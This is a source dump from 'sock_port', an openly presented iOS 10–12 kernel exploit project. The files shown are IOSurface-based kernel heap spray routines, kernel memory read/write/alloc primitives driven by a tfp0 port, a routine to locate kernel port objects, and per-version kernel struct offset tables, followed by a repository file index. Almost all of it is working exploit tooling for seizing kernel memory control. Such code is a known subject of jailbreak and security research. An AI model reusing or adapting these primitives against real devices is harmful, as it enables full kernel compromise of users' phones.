		if (*xml++ != (kOSSerializeString | data_size - 1 | flags)) {
			ERROR("unexpected data: 0x%x != 0x%x at index %u",
					xml[-1], kOSSerializeString | data_size - 1 | flags,
					data_id);
			goto fail;
		}
		callback(data_id, (void *)xml, data_size);
		xml += xml_units_per_data;
	}
	success = true;
fail:
	free(args_out);
	return success;
}

bool
IOSurface_spray_read_all_data(uint32_t array_count, uint32_t array_length, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size)) {
	assert(IOSurface_initialized);
	assert(array_count <= 0xffffff);
	assert(array_length <= 0xffff);
	assert(data_size <= 0xffffff);
	bool ok = true;
	//TODO: We should probably amortize the creation of the output buffer.
	for (uint32_t array_id = 0; array_id < array_count; array_id++) {
		ok &= IOSurface_spray_read_array(array_id, array_length, data_size,
				^(uint32_t data_id, void *data, size_t size) {
			callback(array_id, data_id, data, size);
		});
	}
	return ok;
}

bool
IOSurface_spray_remove_array(uint32_t array_id) {
	assert(IOSurface_initialized);
	assert(array_id < 0xffffff);
	struct IOSurfaceValueArgs_string args = {};
	args.surface_id = IOSurface_id;
	args.string_data = base255_encode(array_id);
	return IOSurface_remove_value((struct IOSurfaceValueArgs *)&args, sizeof(args));
}

bool
IOSurface_spray_clear(uint32_t array_count) {
	assert(IOSurface_initialized);
	assert(array_count <= 0xffffff);
	bool ok = true;
	for (uint32_t array_id = 0; array_id < array_count; array_id++) {
		ok &= IOSurface_spray_remove_array(array_id);
	}
	return ok;
}


================================================
FILE: sock_port/iosurface.h
================================================
/*
 * iosurface.h
 * Brandon Azad
 */
#ifndef VOUCHER_SWAP__IOSURFACE_H_
#define VOUCHER_SWAP__IOSURFACE_H_

#include <mach/mach.h>
#include <stdio.h>
#include <stdbool.h>
#include <stddef.h>
#include <assert.h>
#include <pthread.h>
#include <IOKit/IOKitLib.h>

#include "exploit_utilities.h"

#ifdef IOSURFACE_EXTERN
#define extern IOSURFACE_EXTERN
#endif

// The IOSurfaceRoot service.
extern mach_port_t IOSurfaceRoot;

// An IOSurfaceRootUserClient instance.
extern mach_port_t IOSurfaceRootUserClient;

// The ID of the IOSurface we're using.
extern uint32_t IOSurface_id;

/*
 * IOSurface_init
 *
 * Description:
 * 	Initialize the IOSurface subsystem.
 */
bool IOSurface_init(void);

/*
 * IOSurface_deinit
 *
 * Description:
 * 	Tear down the IOSurface subsystem. Any sprayed memory will be automatically deallocated.
 */
void IOSurface_deinit(void);

/*
 * IOSurface_spray_with_gc
 *
 * Description:
 * 	Spray kernel memory using IOSurface properties.
 *
 * 	The current implementation stores each data allocation in an OSString. The reason for this
 * 	is that OSString contents will be allocated using kalloc() even for allocations larger than
 * 	the page size. OSData on the other hand will use kmem_alloc() for large allocations.
 * 	Consequently, the last byte of data will be zeroed out to create a null terminator.
 */
bool IOSurface_spray_with_gc(uint32_t array_count, uint32_t array_length,
		void *data, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size));

/*
 * IOSurface_spray_size_with_gc
 *
 * Description:
 * 	Spray kernel memory using IOSurface properties.
 *
 * 	This function computes the number of elements per array automatically.
 */
bool IOSurface_spray_size_with_gc(uint32_t array_count, size_t spray_size,
		void *data, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size));

/*
 * IOSurface_spray_read_array
 *
 * Description:
 * 	Read back the data elements in a particular array in a particular IOSurface spray.
 */
bool IOSurface_spray_read_array(uint32_t array_id, uint32_t array_length, uint32_t data_size,
		void (^callback)(uint32_t data_id, void *data, size_t size));

/*
 * IOSurface_spray_read_all_data
 *
 * Description:
 * 	Read back all the data elements in an IOSurface spray.
 */
bool IOSurface_spray_read_all_data(uint32_t array_count, uint32_t array_length, uint32_t data_size,
		void (^callback)(uint32_t array_id, uint32_t data_id, void *data, size_t size));

/*
 * IOSurface_spray_remove_array
 *
 * Description:
 * 	Remove a particular array from an IOSurface spray, freeing the contained data elements.
 */
bool IOSurface_spray_remove_array(uint32_t array_id);

/*
 * IOSurface_spray_clear
 *
 * Description:
 * 	Remove all the arrays from an IOSurface spray, freeing all the data elements.
 */
bool IOSurface_spray_clear(uint32_t array_count);

// ---- IOSurface types ---------------------------------------------------------------------------

struct _IOSurfaceFastCreateArgs {
    uint64_t address;
    uint32_t width;
    uint32_t height;
    uint32_t pixel_format;
    uint32_t bytes_per_element;
    uint32_t bytes_per_row;
    uint32_t alloc_size;
};

struct IOSurfaceLockResult {
    uint64_t addr1;
    uint64_t addr2;
    uint64_t addr3;
    uint32_t surface_id;
    uint8_t _pad2[0xdd0-0x18-0x4];
};

struct IOSurfaceValueArgs {
    uint32_t surface_id;
    uint32_t _out1;
    union {
        uint32_t xml[0];
        char string[0];
    };
};

struct IOSurfaceValueArgs_string {
    uint32_t surface_id;
    uint32_t _out1;
    uint32_t string_data;
    char null;
};

struct IOSurfaceValueResultArgs {
    uint32_t out;
};


bool IOSurface_set_value(const struct IOSurfaceValueArgs *args, size_t args_size);

#undef extern

#endif


================================================
FILE: sock_port/kernel_memory.c
================================================
//
//  kernel_memory.c
//  sock_port
//
//  Created by Jake James on 7/18/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#include "kernel_memory.h"

static mach_port_t tfpzero;

void init_kernel_memory(mach_port_t tfp0) {
    tfpzero = tfp0;
}

uint64_t kalloc(vm_size_t size) {
    mach_vm_address_t address = 0;
    mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
    return address;
}

void kfree(mach_vm_address_t address, vm_size_t size) {
    mach_vm_deallocate(tfpzero, address, size);
}

size_t kread(uint64_t where, void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        mach_vm_size_t sz, chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
        if (rv || sz == 0) {
            printf("[-] error on kread(0x%016llx)\n", where);
            break;
        }
        offset += sz;
    }
    return offset;
}

uint32_t rk32(uint64_t where) {
    uint32_t out;
    kread(where, &out, sizeof(uint32_t));
    return out;
}

uint64_t rk64(uint64_t where) {
    uint64_t out;
    kread(where, &out, sizeof(uint64_t));
    return out;
}

size_t kwrite(uint64_t where, const void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        size_t chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk);
        if (rv) {
            printf("[-] error on kwrite(0x%016llx)\n", where);
            break;
        }
        offset += chunk;
    }
    return offset;
}

void wk32(uint64_t where, uint32_t what) {
    uint32_t _what = what;
    kwrite(where, &_what, sizeof(uint32_t));
}


void wk64(uint64_t where, uint64_t what) {
    uint64_t _what = what;
    kwrite(where, &_what, sizeof(uint64_t));
}

uint64_t find_port(mach_port_name_t port, uint64_t task_self) {
    uint64_t task_addr = rk64(task_self + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
    uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
    
    uint32_t port_index = port >> 8;
    const int sizeof_ipc_entry_t = 0x18;
    
    uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));
    
    return port_addr;
}


================================================
FILE: sock_port/kernel_memory.h
================================================
//
//  kernel_memory.h
//  sock_port
//
//  Created by Jake James on 7/18/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#ifndef kernel_memory_h
#define kernel_memory_h

#include <stdio.h>
#include <mach/mach.h>
#include "offsets.h"

kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);;
kern_return_t mach_vm_read(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt);

void init_kernel_memory(mach_port_t tfp0);

size_t kread(uint64_t where, void *p, size_t size);
uint32_t rk32(uint64_t where);
uint64_t rk64(uint64_t where);

size_t kwrite(uint64_t where, const void *p, size_t size);
void wk32(uint64_t where, uint32_t what);
void wk64(uint64_t where, uint64_t what);

void kfree(mach_vm_address_t address, vm_size_t size);
uint64_t kalloc(vm_size_t size);

uint64_t find_port(mach_port_name_t port, uint64_t task_self);

#endif /* kernel_memory_h */


================================================
FILE: sock_port/main.m
================================================
//
//  main.m
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#import <UIKit/UIKit.h>
#import "AppDelegate.h"

int main(int argc, char * argv[]) {
    @autoreleasepool {
        return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
    }
}


================================================
FILE: sock_port/offsets.h
================================================
enum kstruct_offset {
    /* struct task */
    KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
    KSTRUCT_OFFSET_TASK_REF_COUNT,
    KSTRUCT_OFFSET_TASK_ACTIVE,
    KSTRUCT_OFFSET_TASK_VM_MAP,
    KSTRUCT_OFFSET_TASK_NEXT,
    KSTRUCT_OFFSET_TASK_PREV,
    KSTRUCT_OFFSET_TASK_ITK_SELF,
    KSTRUCT_OFFSET_TASK_ITK_SPACE,
    KSTRUCT_OFFSET_TASK_BSD_INFO,
    
    /* struct ipc_port */
    KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
    KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
    KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
    KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
    KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
    KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
    KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
    KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
    KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
    
    /* struct proc */
    KSTRUCT_OFFSET_PROC_PID,
    KSTRUCT_OFFSET_PROC_P_FD,
    
    /* struct filedesc */
    KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
    
    /* struct fileproc */
    KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
    
    /* struct fileglob */
    KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
    
    /* struct socket */
    KSTRUCT_OFFSET_SOCKET_SO_PCB,
    
    /* struct pipe */
    KSTRUCT_OFFSET_PIPE_BUFFER,
    
    /* struct ipc_space */
    KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
    KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
    
    KFREE_ADDR_OFFSET,
};

int koffset(enum kstruct_offset offset);
void offsets_init(void);

extern uint32_t create_outsize;


================================================
FILE: sock_port/offsets.m
================================================
#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>

#import <stdio.h>
#import <stdlib.h>
#import <string.h>
#import <sys/sysctl.h>
#import <sys/utsname.h>

#import "offsets.h"

#define SYSTEM_VERSION_EQUAL_TO(v)                  ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedSame)
#define SYSTEM_VERSION_GREATER_THAN(v)              ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedDescending)
#define SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(v)  ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedAscending)
#define SYSTEM_VERSION_LESS_THAN(v)                 ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] == NSOrderedAscending)
#define SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(v)     ([[[UIDevice currentDevice] systemVersion] compare:v options:NSNumericSearch] != NSOrderedDescending)

int* offsets = NULL;

int kstruct_offsets_10_x[] = {
    0xb,   // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
    0x10,  // KSTRUCT_OFFSET_TASK_REF_COUNT,
    0x14,  // KSTRUCT_OFFSET_TASK_ACTIVE,
    0x20,  // KSTRUCT_OFFSET_TASK_VM_MAP,
    0x28,  // KSTRUCT_OFFSET_TASK_NEXT,
    0x30,  // KSTRUCT_OFFSET_TASK_PREV,
    0xd8,  // KSTRUCT_OFFSET_TASK_ITK_SELF,
    0x300, // KSTRUCT_OFFSET_TASK_ITK_SPACE,
    0x360, // KSTRUCT_OFFSET_TASK_BSD_INFO,
    
    0x0,   // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
    0x4,   // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
    0x40,  // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
    0x50,  // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
    0x60,  // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
    0x68,  // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
    0x88,  // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
    0x90,  // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
    0xa0,  // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
    
    0x10,  // KSTRUCT_OFFSET_PROC_PID,
    0x108, // KSTRUCT_OFFSET_PROC_P_FD
    
    0x0,   // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
    
    0x8,   // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
    
    0x38,  // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
    
    0x10,  // KSTRUCT_OFFSET_SOCKET_SO_PCB
    
    0x10,  // KSTRUCT_OFFSET_PIPE_BUFFER
    
    0x14,  // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
    0x20,  // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
    
    0x6c,  // KFREE_ADDR_OFFSET
};

int kstruct_offsets_11_0[] = {
    0xb,   // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
    0x10,  // KSTRUCT_OFFSET_TASK_REF_COUNT,
    0x14,  // KSTRUCT_OFFSET_TASK_ACTIVE,
    0x20,  // KSTRUCT_OFFSET_TASK_VM_MAP,
    0x28,  // KSTRUCT_OFFSET_TASK_NEXT,
    0x30,  // KSTRUCT_OFFSET_TASK_PREV,
    0xd8,  // KSTRUCT_OFFSET_TASK_ITK_SELF,
    0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE,
    0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
    
    0x0,   // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
    0x4,   // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
    0x40,  // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
    0x50,  // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
    0x60,  // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
    0x68,  // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
    0x88,  // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
    0x90,  // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
    0xa0,  // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
    
    0x10,  // KSTRUCT_OFFSET_PROC_PID,
    0x108, // KSTRUCT_OFFSET_PROC_P_FD
    
    0x0,   // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
    
    0x8,   // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
    
    0x38,  // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
    
    0x10,  // KSTRUCT_OFFSET_SOCKET_SO_PCB
    
    0x10,  // KSTRUCT_OFFSET_PIPE_BUFFER
    
    0x14,  // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
    0x20,  // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
    
    0x6c,  // KFREE_ADDR_OFFSET
};

int kstruct_offsets_11_3[] = {
    0xb,   // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
    0x10,  // KSTRUCT_OFFSET_TASK_REF_COUNT,
    0x14,  // KSTRUCT_OFFSET_TASK_ACTIVE,
    0x20,  // KSTRUCT_OFFSET_TASK_VM_MAP,
    0x28,  // KSTRUCT_OFFSET_TASK_NEXT,
    0x30,  // KSTRUCT_OFFSET_TASK_PREV,
    0xd8,  // KSTRUCT_OFFSET_TASK_ITK_SELF,
    0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE,
    0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
    
    0x0,   // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
    0x4,   // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
    0x40,  // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
    0x50,  // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
    0x60,  // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
    0x68,  // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
    0x88,  // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
    0x90,  // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
    0xa0,  // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
    
    0x10,  // KSTRUCT_OFFSET_PROC_PID,
    0x108, // KSTRUCT_OFFSET_PROC_P
Download .txt
gitextract_ym2mvky9/

├── LICENSE
├── Makefile
├── README.md
├── sock_port/
│   ├── AppDelegate.h
│   ├── AppDelegate.m
│   ├── Assets.xcassets/
│   │   └── AppIcon.appiconset/
│   │       └── Contents.json
│   ├── Base.lproj/
│   │   ├── LaunchScreen.storyboard
│   │   └── Main.storyboard
│   ├── Info.plist
│   ├── ViewController.h
│   ├── ViewController.m
│   ├── exploit.c
│   ├── exploit.h
│   ├── exploit_utilities.c
│   ├── exploit_utilities.h
│   ├── include/
│   │   └── IOKit/
│   │       ├── IOKitKeys.h
│   │       ├── IOKitLib.h
│   │       ├── IOReturn.h
│   │       ├── IOTypes.h
│   │       └── OSMessageNotification.h
│   ├── iosurface.c
│   ├── iosurface.h
│   ├── kernel_memory.c
│   ├── kernel_memory.h
│   ├── main.m
│   ├── offsets.h
│   └── offsets.m
├── sock_port.xcodeproj/
│   ├── project.pbxproj
│   ├── project.xcworkspace/
│   │   ├── contents.xcworkspacedata
│   │   ├── xcshareddata/
│   │   │   └── IDEWorkspaceChecks.plist
│   │   └── xcuserdata/
│   │       ├── jakejames.xcuserdatad/
│   │       │   └── UserInterfaceState.xcuserstate
│   │       └── pwn20wnd.xcuserdatad/
│   │           └── UserInterfaceState.xcuserstate
│   ├── xcshareddata/
│   │   └── xcschemes/
│   │       └── sock_port.xcscheme
│   └── xcuserdata/
│       ├── jakejames.xcuserdatad/
│       │   ├── xcdebugger/
│       │   │   └── Breakpoints_v2.xcbkptlist
│       │   └── xcschemes/
│       │       └── xcschememanagement.plist
│       └── pwn20wnd.xcuserdatad/
│           └── xcschemes/
│               └── xcschememanagement.plist
├── sock_port_UITests/
│   ├── Info.plist
│   └── socket_freeUITests.m
└── sock_port_tests/
    ├── Info.plist
    └── socket_freeTests.m
Download .txt
SYMBOL INDEX (114 symbols across 12 files)

FILE: sock_port/exploit.c
  function set_minmtu (line 12) | int set_minmtu(int sock, int *minmtu) {
  function get_minmtu (line 16) | int get_minmtu(int sock, int *minmtu) {
  function get_prefertempaddr (line 21) | int get_prefertempaddr(int sock, int *prefertempaddr) {
  function set_prefertempaddr (line 26) | int set_prefertempaddr(int sock, int *prefertempaddr) {
  function get_pktinfo (line 30) | int get_pktinfo(int sock, struct in6_pktinfo *pktinfo) {
  function set_pktinfo (line 35) | int set_pktinfo(int sock, struct in6_pktinfo *pktinfo) {
  function free_socket_options (line 40) | int free_socket_options(int sock) {
  function get_socket (line 45) | int get_socket() {
  function get_socket_with_dangling_options (line 64) | int get_socket_with_dangling_options() {
  function mach_port_t (line 75) | mach_port_t new_port() {
  function find_port_via_uaf (line 91) | uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
  function task_self_addr (line 134) | uint64_t task_self_addr() {
  type ip6_pktopts (line 149) | struct ip6_pktopts
  type ip6_pktopts (line 149) | struct ip6_pktopts
  type in6_pktinfo (line 152) | struct in6_pktinfo
  type ip6_pktopts (line 158) | struct ip6_pktopts
  type in6_pktinfo (line 185) | struct in6_pktinfo
  type in6_pktinfo (line 186) | struct in6_pktinfo
  function rk64_via_uaf (line 192) | uint64_t rk64_via_uaf(uint64_t addr) {
  function free_via_uaf (line 203) | int free_via_uaf(uint64_t addr) {
  function mach_port_waitq_flags (line 255) | static inline uint32_t mach_port_waitq_flags() {
  function mach_port_t (line 267) | mach_port_t get_tfp0() {

FILE: sock_port/exploit.h
  type route_in6 (line 27) | struct route_in6 {
  type ip6po_rhinfo (line 35) | struct ip6po_rhinfo {
  type ip6po_nhinfo (line 40) | struct ip6po_nhinfo {
  type ip6_pktopts (line 45) | struct ip6_pktopts {
  type kport_t (line 66) | typedef volatile struct {
  type ktask_t (line 107) | typedef struct {

FILE: sock_port/exploit_utilities.c
  function mach_port_t (line 12) | mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int c...
  function message_size_for_kalloc_size (line 60) | size_t message_size_for_kalloc_size(size_t kalloc_size) {
  function mach_port_t (line 65) | mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t...
  function trigger_gc (line 116) | void trigger_gc() {
  function init_IOSurface (line 154) | int init_IOSurface() {
  function deinit_IOSurface (line 166) | void deinit_IOSurface() {
  function spray_IOSurface (line 170) | int spray_IOSurface(void *data, size_t size) {

FILE: sock_port/exploit_utilities.h
  type ool_msg (line 23) | struct ool_msg  {
  type simple_msg (line 29) | struct simple_msg {

FILE: sock_port/include/IOKit/IOKitLib.h
  type IONotificationPort (line 64) | struct IONotificationPort
  type IOObject (line 1258) | typedef struct IOObject IOObject;

FILE: sock_port/include/IOKit/IOReturn.h
  type kern_return_t (line 45) | typedef	kern_return_t		IOReturn;

FILE: sock_port/include/IOKit/IOTypes.h
  type UInt32 (line 72) | typedef UInt32		IOOptionBits;
  type SInt32 (line 73) | typedef SInt32		IOFixed;
  type UInt32 (line 74) | typedef UInt32		IOVersion;
  type UInt32 (line 75) | typedef UInt32		IOItemCount;
  type UInt32 (line 76) | typedef UInt32  	IOCacheMode;
  type UInt32 (line 78) | typedef UInt32	 	IOByteCount32;
  type UInt64 (line 79) | typedef UInt64	 	IOByteCount64;
  type UInt32 (line 81) | typedef UInt32	IOPhysicalAddress32;
  type UInt64 (line 82) | typedef UInt64	IOPhysicalAddress64;
  type UInt32 (line 83) | typedef UInt32	IOPhysicalLength32;
  type UInt64 (line 84) | typedef UInt64	IOPhysicalLength64;
  type mach_vm_address_t (line 87) | typedef mach_vm_address_t	IOVirtualAddress;
  type vm_address_t (line 89) | typedef vm_address_t		IOVirtualAddress;
  type IOByteCount64 (line 93) | typedef IOByteCount64		IOByteCount;
  type IOByteCount32 (line 95) | typedef IOByteCount32	 	IOByteCount;
  type IOVirtualAddress (line 98) | typedef IOVirtualAddress    IOLogicalAddress;
  type IOPhysicalAddress64 (line 102) | typedef IOPhysicalAddress64	 IOPhysicalAddress;
  type IOPhysicalLength64 (line 103) | typedef IOPhysicalLength64	 IOPhysicalLength;
  type IOPhysicalAddress32 (line 109) | typedef IOPhysicalAddress32	 IOPhysicalAddress;
  type IOPhysicalLength32 (line 110) | typedef IOPhysicalLength32	 IOPhysicalLength;
  type IOPhysicalRange (line 117) | typedef struct
  type IOVirtualRange (line 123) | typedef struct
  type IOVirtualRange (line 130) | typedef IOVirtualRange	IOAddressRange;
  type IOAddressRange (line 132) | typedef struct
  type IONamedValue (line 142) | typedef struct {
  type IOAlignment (line 151) | typedef unsigned int	IOAlignment;
  type OSObject (line 167) | struct OSObject
  type mach_port_t (line 169) | typedef mach_port_t	io_object_t;
  type io_object_t (line 175) | typedef io_object_t	io_connect_t;
  type io_object_t (line 176) | typedef io_object_t	io_enumerator_t;
  type io_object_t (line 177) | typedef io_object_t	io_iterator_t;
  type io_object_t (line 178) | typedef io_object_t	io_registry_entry_t;
  type io_object_t (line 179) | typedef io_object_t	io_service_t;
  type IODeviceNumber (line 242) | typedef unsigned int IODeviceNumber;

FILE: sock_port/include/IOKit/OSMessageNotification.h
  type natural_t (line 78) | typedef natural_t OSAsyncReference[kOSAsyncRefCount];
  type OSNotificationHeader (line 80) | struct OSNotificationHeader {
  type IOServiceInterestContent (line 92) | struct IOServiceInterestContent {
  type IOAsyncCompletionContent (line 97) | struct IOAsyncCompletionContent {
  type OSNotificationHeader (line 107) | typedef struct OSNotificationHeader OSNotificationHeader;
  type IOServiceInterestContent (line 108) | typedef struct IOServiceInterestContent IOServiceInterestContent;
  type IOAsyncCompletionContent (line 109) | typedef struct IOAsyncCompletionContent IOAsyncCompletionContent;

FILE: sock_port/iosurface.c
  function IOSurface_init (line 16) | bool
  function IOSurface_deinit (line 61) | void
  function IOSurface_set_value (line 76) | bool
  function IOSurface_get_value (line 100) | static bool
  function IOSurface_remove_value (line 123) | static bool
  function base255_encode (line 147) | static uint32_t
  function xml_units_for_data_size (line 163) | static size_t
  function serialize_IOSurface_data_array (line 175) | static size_t
  function IOSurface_spray_with_gc_internal (line 202) | static bool
  function IOSurface_spray_with_gc (line 286) | bool
  function IOSurface_spray_size_with_gc (line 294) | bool
  function IOSurface_spray_read_array (line 308) | bool
  function IOSurface_spray_read_all_data (line 364) | bool
  function IOSurface_spray_remove_array (line 382) | bool
  function IOSurface_spray_clear (line 392) | bool

FILE: sock_port/iosurface.h
  type _IOSurfaceFastCreateArgs (line 110) | struct _IOSurfaceFastCreateArgs {
  type IOSurfaceLockResult (line 120) | struct IOSurfaceLockResult {
  type IOSurfaceValueArgs (line 128) | struct IOSurfaceValueArgs {
  type IOSurfaceValueArgs_string (line 137) | struct IOSurfaceValueArgs_string {
  type IOSurfaceValueResultArgs (line 144) | struct IOSurfaceValueResultArgs {
  type IOSurfaceValueArgs (line 149) | struct IOSurfaceValueArgs

FILE: sock_port/kernel_memory.c
  function init_kernel_memory (line 13) | void init_kernel_memory(mach_port_t tfp0) {
  function kalloc (line 17) | uint64_t kalloc(vm_size_t size) {
  function kfree (line 23) | void kfree(mach_vm_address_t address, vm_size_t size) {
  function kread (line 27) | size_t kread(uint64_t where, void *p, size_t size) {
  function rk32 (line 45) | uint32_t rk32(uint64_t where) {
  function rk64 (line 51) | uint64_t rk64(uint64_t where) {
  function kwrite (line 57) | size_t kwrite(uint64_t where, const void *p, size_t size) {
  function wk32 (line 75) | void wk32(uint64_t where, uint32_t what) {
  function wk64 (line 81) | void wk64(uint64_t where, uint64_t what) {
  function find_port (line 86) | uint64_t find_port(mach_port_name_t port, uint64_t task_self) {

FILE: sock_port/offsets.h
  type kstruct_offset (line 1) | enum kstruct_offset {
  type kstruct_offset (line 50) | enum kstruct_offset
Condensed preview — 40 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (251K chars).
[
  {
    "path": "LICENSE",
    "chars": 35149,
    "preview": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
  },
  {
    "path": "Makefile",
    "chars": 336,
    "preview": "TARGET = sock_port\n\n.PHONY: all clean\n\nall: clean\n\txcodebuild clean build CODE_SIGN_IDENTITY=\"\" CODE_SIGNING_REQUIRED=NO"
  },
  {
    "path": "README.md",
    "chars": 896,
    "preview": "# sock_port\n\niOS 10.0-12.2 (+12.4) tfp0 for all devices (in theory).\n\nSome info:\n- Uses socket bug by Ned Williamson\n- U"
  },
  {
    "path": "sock_port/AppDelegate.h",
    "chars": 277,
    "preview": "//\n//  AppDelegate.h\n//  sock_port\n//\n//  Created by Jake James on 7/17/19.\n//  Copyright © 2019 Jake James. All rights "
  },
  {
    "path": "sock_port/AppDelegate.m",
    "chars": 2029,
    "preview": "//\n//  AppDelegate.m\n//  sock_port\n//\n//  Created by Jake James on 7/17/19.\n//  Copyright © 2019 Jake James. All rights "
  },
  {
    "path": "sock_port/Assets.xcassets/AppIcon.appiconset/Contents.json",
    "chars": 1495,
    "preview": "{\n  \"images\" : [\n    {\n      \"idiom\" : \"iphone\",\n      \"size\" : \"20x20\",\n      \"scale\" : \"2x\"\n    },\n    {\n      \"idiom\""
  },
  {
    "path": "sock_port/Base.lproj/LaunchScreen.storyboard",
    "chars": 1681,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard"
  },
  {
    "path": "sock_port/Base.lproj/Main.storyboard",
    "chars": 1614,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB\" version=\"3"
  },
  {
    "path": "sock_port/Info.plist",
    "chars": 1463,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
  },
  {
    "path": "sock_port/ViewController.h",
    "chars": 215,
